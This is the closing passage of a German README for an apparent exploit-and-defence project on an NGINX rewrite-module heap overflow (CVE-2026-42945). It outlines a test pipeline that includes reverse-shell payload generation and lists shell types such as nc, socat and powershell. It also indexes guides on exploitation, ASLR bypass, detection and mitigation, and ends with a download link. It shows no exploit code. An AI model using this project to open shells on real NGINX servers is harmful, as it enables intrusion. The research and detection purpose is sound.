| `detect-patch` | Verifiziert das Patch-Format und den Inhalt des Fixes |
| `verify-project` | Führt `tools/verify_project.sh` aus |

### Vollständige Pipeline```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh

# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker

Die Pipeline führt 7 Phasen aus:

  1. Preflight — Voraussetzungen prüfen (python3, curl, docker, docker-compose)
  2. Syntax & Linting — Python-Compile, ShellCheck
  3. Statische Analyse — Konfigurationsscanner, Escape-Berechnung, Heap-Layout, sichere Adressen
  4. Umgebungsstart — Docker-Container bauen und starten
  5. Live-Tests — Healthcheck, Overflow-Trigger, Worker-Überwachung, Patch-Format
  6. Reverse-Shell-Verifizierung — Payload-Erzeugung, Trockentest des Listeners, automatisierte Verifizierung
  7. Projektprüfung — Vollständige Datei-Integritäts- und Syntaxprüfung

18. Dokumentationsindex

DokumentBeschreibung
docs/root-cause-analysis.mdDetaillierte technische Analyse des Zwei-Pass-Script-Engine-Bugs mit Code-Durchläufen und Diagrammen
docs/exploitation-guide.mdSchritt-für-Schritt-Ausnutzung, Heap-Spray, Feng Shui, Adressberechnung, ASLR-Bypass
docs/detection-guide.mdKonfigurations-Scanning, Log-Analyse, WAF-Regeln, SIEM-Integration, Anomalieerkennung
docs/mitigation-guide.mdKonvertierung benannter Captures, Ratenbegrenzung, WAF-Bereitstellung, Upgrade-Verfahren
docs/FAQ.mdHäufig gestellte Fragen zu Schwachstelle, Ausnutzung und Behebung
docs/timeline.mdZeitleiste der vollständigen Offenlegung von der Einführung des Bugs im Jahr 2008 bis zum Fix im Jahr 2026
docs/operational-guidance.mdVorfallreaktion, Forensik, IOC-Sammlung, Notfallmaßnahmen
docs/case-study.mdSimulation eines realen Angriffsszenarios mit Kill-Chain-Analyse
docs/presentation-slides.mdPräsentation für Konferenzen/Treffen mit Sprechernotizen

19. Projektstatistiken

MetrikWert
Dateien insgesamt80+
Verzeichnisse13 (docker, exploit, shell, patches, configs, detection, fuzz, test, docs, tools, pipelines, .github/workflows, configs/advanced)
Python-Skripte22 (exploit, detection, tools, shell, test)
Shell-Skripte15 (detection, tools, shell, test, pipelines)
Patches5 (1 Fix + 1 Härtung + 3 Backports)
WAF-Regelsätze3 (ModSecurity, Suricata, Falco)
CI-Konfiguration1 (GitHub Actions — nur CI)
Dokumentation9 detaillierte technische Dokumente
Konfigurationsbeispiele7 (4 verwundbar, 2 sicher, 1 benannter Capture + 3 erweitert)
Commit-Protokoll1003+ einzelne Commits
Shell-Typen10 (bash, python, nc, perl, ruby, php, socat, telnet, openssl, powershell)
Fuzz-Harness1 (libFuzzer, ~200 Zeilen C)
Testfälle8 Unit-Tests + Shell-Runner
Abgedeckte NGINX-Versionen20 in der Regressionsmatrix
Lebenszyklus18 Jahre (2008–2026)

20. Referenzen

Offiziell

ReferenzURL
NVD-Eintraghttps://nvd.nist.gov/vuln/detail/CVE-2026-42945
Fix-Commithttps://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686
F5-Advisoryhttps://my.f5.com/manage/s/article/K000161019
NGINX-Changeloghttps://nginx.org/en/CHANGES

Forschung

ReferenzURL
DepthFirst Researchhttps://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability
PoC-Repositoryhttps://github.com/DepthFirstDisclosures/Nginx-Rift
CWE-122https://cwe.mitre.org/data/definitions/122.html

Technisch

RessourceBeschreibung
ngx_http_script.cDie fehlerhafte Quelldatei im Rewrite-Modul von NGINX
ngx_pool_cleanup_tDie für RCE korrumpierte Heap-Struktur
ngx_escape_uri()Die Expansionsfunktion, die den Überlauf verursacht
setarch(8)Linux-Tool zum Deaktivieren von ASLR für deterministische Exploit-Adressen

Dieses Projekt dient zu Bildungs- und defensiven Sicherheitsforschungszwecken. Die Schwachstelle wurde verantwortungsvoll offengelegt und von den NGINX-Maintainern gepatcht.

Tool herunterladen